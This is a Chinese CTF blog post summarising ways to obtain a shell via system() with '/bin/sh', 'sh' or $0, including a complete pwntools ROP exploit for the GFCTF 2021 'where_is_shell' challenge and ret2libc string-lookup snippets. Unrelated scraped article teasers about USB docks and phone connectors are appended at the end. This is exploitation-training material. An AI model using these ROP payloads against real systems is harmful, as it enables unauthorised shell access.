【PWN · 总结】system返回shell(‘/bin/sh‘、‘sh‘、$(0))

news/2024/11/22 11:39:32/

pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。

目录

前言

一、'/bin/sh'

1.strings

2.IDA 

3.pwntools 

4.ROPgadget

5.libc中寻找

二、'sh'

三、$(0) 

exp

IDA查看机器码 

总结


前言

就system的参数而言,'/bin/sh'、'sh'、$(0),这三者似乎都可以返回shell


一、'/bin/sh'

这个无需多说,然而查找方式可以总结一下

1.strings

linux的指令~

strings filename | grep /bin/sh

2.IDA 

shift+F12即可获取所有的字符串即位置

当然,我这个截图里面没有'/bin/sh'

3.pwntools 

pwntools里面的ELF对象,除了能够查看plt和got表信息(地址)、symbols查看标识位置,还可以通过search来找字符串

from pwn import *
p = process("filename")
bin_sh_addr = next(p.search("/bin/sh"))
#bin_sh_addr = p.search("/bin/sh").next()
#这个next的使用,据我印象,好像是因为python2到python3的缘故

4.ROPgadget

ROPgadget --binary filename --strings '/bin/sh'

5.libc中寻找

from LibcSearcher import *
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================

当然,如果给了本地文件,pwntools的ELF也可以类似于方法3找到字符串 


二、'sh'

这个是环境变量配置,做题的时候遇到过,用于替换‘/bin/sh',可以尝试一下


三、$(0) 

这是当前遇到的一道题目,[GFCTF 2021]where_is_shell

利用system($0)获得shell权限,$0在机器码中为 \x24\x30

题目给出了tips函数,这一串东西,是什么意思呢?地址也没有呀~

查看机器码

发现了24 30机器码,所以实际上我们可以把这里的地址作为参数。

exp

from pwn import *
from LibcSearcher import *context(os='linux',arch='amd64',log_level="debug")
io=remote("node4.anna.nssctf.cn",28559)elf=ELF("./shell")system_plt=elf.symbols['system']
#system_plt=0x400430
'''
if system_plt!=elf.symbols['system']:print(system_plt,"  ",elf.symbols["system"])
'''
#这里的bin_sh实际上是\x24\x30开始的地址
bin_sh=0x400541
rdi=0x4005e3
ret=0x400416payload=b'a'*(0x10+8)
payload+=p64(ret)
payload+=p64(rdi)+p64(bin_sh)
payload+=p64(system_plt)io.sendlineafter(b'it?\n',payload)
io.interactive()

IDA查看机器码 

opcode bytes设置一下,保存即可 


总结

对于system参数的选取,有必要总结一下。优化大概率事件嘛。以后遇到也会持续更新啦


http://www.ppmy.cn/news/113614.html

相关文章

USB Type-C Docking (扩展坞) 设计|设计USB Type-C Docking (扩展坞) 方案|USB Type-C拓展坞电路参考

Dock 基本概念的介绍 Dock,又叫做扩展坞,这类产品的流行是因为笔记本电脑的USB或者视频等接口数量有限,用户希望扩展出更多数量的或者更多种类的接口,来满足多元应用需求。由于笔记本接口输出功率的限制,扩展坞通常需…

lightning接口_作为弟中弟的lightning数据线,苹果为什么就是不换呢?

[PConLine 杂谈]上星期,四三和大家聊了聊为什么苹果的充电线为什么那么容易坏,感兴趣的朋友可以点这里。 这周嘛,四三因为要拍毕业照,所以就回校了一趟,顺便翻出了那条烙铁都露出的原装数据线,以及这些年在…

lightning接口_带你回看手机接口发展史:TypeC将实现大一统?

[PConline 杂谈]手机在近几年发展飞快,从当年只要有一台大哥大就十分威风,到后来的诺基亚一统天下,再到现在人手一部智能手机,手机变更如此之快,体积越来越小,续航能力越来越强,超级快充也变成了…

常见接口类型

小编想周末来点实在的干货分享吧,作为工程师应该经常与接口打交道,所以请教了一下度娘,接口的完整定义是:实体把提供给外界的一种抽象化物,用以由内部操作分离出外部沟通方法,使其能被修改内部而不影响外界…

android平板接口,初学者必读 细品平板接口的百般滋味

1历史悠久 原来接口学问多 1831年法拉第发现当磁铁穿过一个闭合电路便会有电流产生。这项伟大的发现使人类制造出世界上第一台能产生连续电流的发电机。有了持续电能供应,从此人类进入电器应用时代,电器的接口也在以各种形式涌入人们的生活。时至几百年后的今天,环绕着我们周…

USB4Dock,USB4扩展坞方案 介绍

一:USB4概念 USB4是USB-FI于 2019 年 9 月 3 日发布,这是对下一代USB架构的一次重大更新,他补充了并构建了现有USB3.2和USB2.0架构。USB4架构基于intel Thunderbolt 协议规范,该协议最近由英特尔贡献给USB-IF,它使USB…

接口知识大全(含实物图40种)

1、IDE接口(一种硬盘接口) IDE的英文全称为“Integrated Drive Electronics”,即“电子集成驱动器”,它的本意是指把“硬盘控制器”与“盘体”集成在一起的硬盘驱动器。多用于家用产品中,也部分应用于服务器。 IDE接口…

dock接口_回看手机接口发展史:TypeC将实现大一统?

手机在近几年发展飞快,从当年大哥大逐步演变到体积越来越小,续航能力越来越强,超级快充也变成了常规配置,而手机的充电接口也在不断地发生改变,下面我们不妨回顾一下,这些年来手机插口的发展史。 现在常用的…